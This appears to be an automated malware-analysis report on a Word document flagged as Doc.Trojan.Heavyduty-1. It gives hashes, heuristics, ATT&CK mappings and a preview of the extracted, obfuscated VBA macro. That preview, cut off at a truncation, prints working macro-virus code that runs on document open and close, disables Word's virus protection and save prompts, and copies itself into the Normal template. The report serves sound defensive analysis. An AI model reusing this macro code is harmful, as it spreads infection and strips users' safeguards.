Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb06838eb3bb7fdc…

MALICIOUS

Office (OLE)

34.5 KB Created: 2003-08-15 18:35:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 76e52e7199a16cb79ad989f27f1ac99c SHA-1: 38f288f4200f06a4c9a971340ad6137b584012d0 SHA-256: bb06838eb3bb7fdcb4af2a8df3e6de50f4d5cc1a1e66d1287b48aef1d25314f4
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing multiple VBA macros, including AutoOpen and Document_Open, which are commonly used to initiate malicious actions. The presence of the 'Doc.Trojan.Heavyduty-1' ClamAV detection strongly suggests malicious intent. The VBA code appears to be obfuscated, but the structure indicates it's designed to run automatically when the document is opened, likely to download and execute a further stage.

Heuristics 6

  • ClamAV: Doc.Trojan.Heavyduty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Heavyduty-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5918 bytes
SHA-256: 7c3a2d0eff7804ff9210710f1cad9ddf28c8f8495bccd45563a5924d8356671c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private _
Sub _
AUTOOPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOCLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXEC(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXIT(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTONEW(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_OPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_CLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_NEW(): _
Call _
VLAM: _
End _
Sub
Private _
Function _
T(STR)
For _
I _
= _
Asc(Mid(UCase(UCase(UCase(UCase("KKKK")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Int(1))) - _
74 _
To _
Len(STR)
P _
= _
P _
& _
Chr(Asc(Mid(STR, _
I, _
Fix(Fix(Fix(1))))) _
Xor _
Int(Int(Int(Int(Int(3))))))
Next
T _
= _
P
End _
Function
Private _
Sub _
VLAM()
On _
Error _
Resume _
Next
Set _
APP _
= _
Application.Options.Application.Options.Application
Set _
OPT _
= _
Options.Application.Options.Application.Options
Set _
ST1 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.VirusProtection
Set _
ST2 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SaveNormalPrompt
Set _
ST3 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayAlerts
Set _
ST4 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.EnableCancelKey
Set _
ST5 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayStatusBar
Set _
ST6 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.ShowVisualBasicEditor
Set _
SMA _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SendMailAttach
Set _
N _
= _
NormalTemplate
Set _
NV _
= _
N.VBProject
Set _
NVV _
= _
NV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
NVVC _
= _
NVV.CODEMODULE
Set _
a _
= _
ActiveDocument
Set _
AV _
= _
a.VBProject
Set _
AVV _
= _
AV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
AVVC _
= _
AVV.CODEMODULE
Set _
d _
= _
ThisDocument
Set _
DV _
= _
d.VBProject
Set _
DVV _
= _
DV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DVVC _
= _
DVV.CODEMODULE
Set _
NORN _
= _
NVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DOCN _
= _
AVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
SMA _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))
MYCODE _
= _
UCase(UCase(UCase(UCase(DVVC.LINES((Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))), _
400)))))
NAAM _
= _
UCase(UCase(UCase("HEAVYDUTY")))
ST1 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST2 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(I
... (truncated)